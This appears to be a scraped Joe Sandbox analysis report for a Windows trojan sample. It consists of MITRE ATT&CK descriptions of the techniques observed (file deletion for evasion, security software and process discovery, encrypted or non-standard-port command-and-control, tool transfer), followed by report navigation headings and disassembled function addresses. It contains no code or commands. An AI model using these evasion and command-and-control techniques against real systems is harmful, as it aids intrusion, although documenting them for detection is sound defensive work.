Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

Windows Analysis Report
SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Function 004E1660 Relevance: 1.6, APIs: 1, Instructions: 81
nativeCOMMON

Function 004E25DA Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Function 004E1678 Relevance: 1.5, APIs: 1, Instructions: 39
nativeCOMMON

Function 004E1E3A Relevance: 28.1, APIs: 1, Strings: 15, Instructions: 116
COMMON

Function 004E3743 Relevance: 15.1, APIs: 2, Strings: 8, Instructions: 86
COMMON

Function 004E3750 Relevance: 15.1, APIs: 2, Strings: 8, Instructions: 73
COMMON

Function 004E1B8F Relevance: 4.5, APIs: 3, Instructions: 38
COMMON

Function 004E4676 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON